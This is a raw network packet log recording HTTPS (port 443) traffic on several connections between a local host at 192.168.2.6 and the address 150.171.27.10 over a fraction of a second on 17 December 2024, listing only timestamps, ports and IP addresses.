Dec 17, 2024 10:08:32.050617933 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.050682068 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.052819014 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.052836895 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.052877903 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.052886963 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.052908897 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.052920103 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.058680058 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.058811903 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.058820963 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.058862925 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.060175896 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.060195923 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.060233116 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.060241938 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.060267925 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.060283899 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.061853886 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.061924934 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.061934948 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.061956882 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.061983109 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.061996937 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.063961983 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.063978910 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.064023018 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.064029932 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.064058065 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.064079046 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.064390898 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.064457893 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.064467907 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.064502954 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.070913076 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.070933104 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.070960999 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.071027040 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.071034908 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.071096897 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.071100950 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.071118116 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.071155071 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.073513031 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.073560953 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.073579073 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.073587894 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.073616028 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.073637962 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.074441910 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.074459076 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.074496031 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.074503899 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.074531078 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.074546099 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.076929092 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.077039003 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.077048063 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.077094078 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.081346989 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.081366062 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.081429958 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.081444979 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.081496000 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.084294081 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.084361076 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.084374905 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.084419012 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.084469080 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.084522009 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.084554911 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.084563017 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.084594965 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.084602118 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.085057020 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.085076094 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.085115910 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.085124969 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.085165024 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.085189104 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.089847088 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.089864016 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.089900970 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.089907885 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.089946032 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.090058088 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.090116978 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.090127945 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.090174913 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.093919039 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.093971968 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.094010115 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.094019890 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.094063044 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.094075918 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.095129013 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.095146894 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.095195055 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.095204115 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.095246077 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.095258951 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.099147081 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.099169970 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.099211931 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.099219084 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.099263906 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.104387045 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.104434013 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.104451895 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.104461908 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.104497910 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.104521990 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.105411053 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.105432034 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.105475903 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.105484962 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.105514050 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.105532885 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.109210968 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.109239101 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.109276056 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.109282970 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.109323978 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.114543915 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.114597082 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.114623070 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.114629984 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.114661932 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.114662886 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.114677906 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.114686012 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.114733934 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.114743948 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.114780903 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.118802071 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.118825912 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.118891954 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.119059086 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.119081974 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.119146109 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.119151115 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.119200945 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.119380951 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.119394064 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.124983072 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.125029087 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.125066042 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.125072956 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.125117064 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.135839939 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.135888100 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.135905027 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.135919094 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.135963917 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.135977983 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.173230886 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.173331976 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.173345089 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.173639059 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.180660009 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.180763006 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.180768967 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.180807114 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.186094999 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.186175108 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.186180115 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.186222076 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.192764044 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.192869902 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.192876101 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.193016052 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.197503090 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.197609901 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.197618008 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.197923899 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.202119112 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.202188969 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.202195883 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.202222109 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.207961082 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.208075047 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.208081007 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.208350897 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.212086916 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.212176085 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.212183952 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.212435961 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.216293097 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.216393948 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.216399908 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.216696024 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.221163988 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.221235991 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.221241951 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.221297979 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.226422071 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.226505041 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.226511955 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.226735115 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.230495930 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.230595112 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.230600119 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.230633974 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.234709978 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.234810114 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.234816074 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.235148907 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.236212969 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.236233950 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.236332893 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.236360073 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.236403942 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.240106106 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.240207911 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.240215063 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.240422010 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.240874052 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.240899086 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.240972996 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.240989923 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.241210938 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.244190931 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.244296074 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.244302034 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.244559050 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.244743109 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.244766951 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.244807005 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.244834900 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.244847059 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.244919062 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.248296022 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.248311043 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.248404980 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.248420954 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.248516083 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.252228022 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.252290964 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.252409935 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.252409935 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.252418995 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.252521038 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.253170013 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.253185987 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.253240108 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.253253937 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.253277063 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.253294945 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.256076097 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.256091118 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.256159067 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.256170034 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.256247044 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.260535955 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.260552883 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.260653973 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.260674000 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.260843039 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.260894060 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.260946989 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.260978937 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.260987043 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.261014938 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.261028051 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.262849092 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.262864113 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.262931108 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.262943983 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.263008118 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.268995047 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.269009113 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.269131899 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.269154072 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.269299030 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.269341946 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.269391060 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.269421101 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.269428015 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.269454002 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.269531965 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.270574093 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.270595074 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.270667076 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.270678997 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.270719051 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.276669025 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.276715040 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.276767969 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.276776075 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.276806116 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.276818037 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.276890039 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.276906967 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.276948929 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.276967049 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.276981115 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.277004004 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.277843952 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.277858973 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.277925014 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.277934074 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.278489113 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285159111 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285207987 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285227060 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285237074 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285270929 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285300016 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285357952 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285381079 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285419941 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285435915 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285448074 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285480022 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285495996 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285511971 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285566092 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.285577059 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.285619020 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.292891026 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.292936087 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293001890 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.293009043 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293050051 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.293277025 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293292046 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293369055 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.293385983 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293426991 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.293776989 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293796062 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293844938 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.293853998 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.293874979 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.293890953 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.301335096 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.301378012 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.301419973 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.301426888 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.301465988 CET	49728	443	192.168.2.6	150.171.27.10
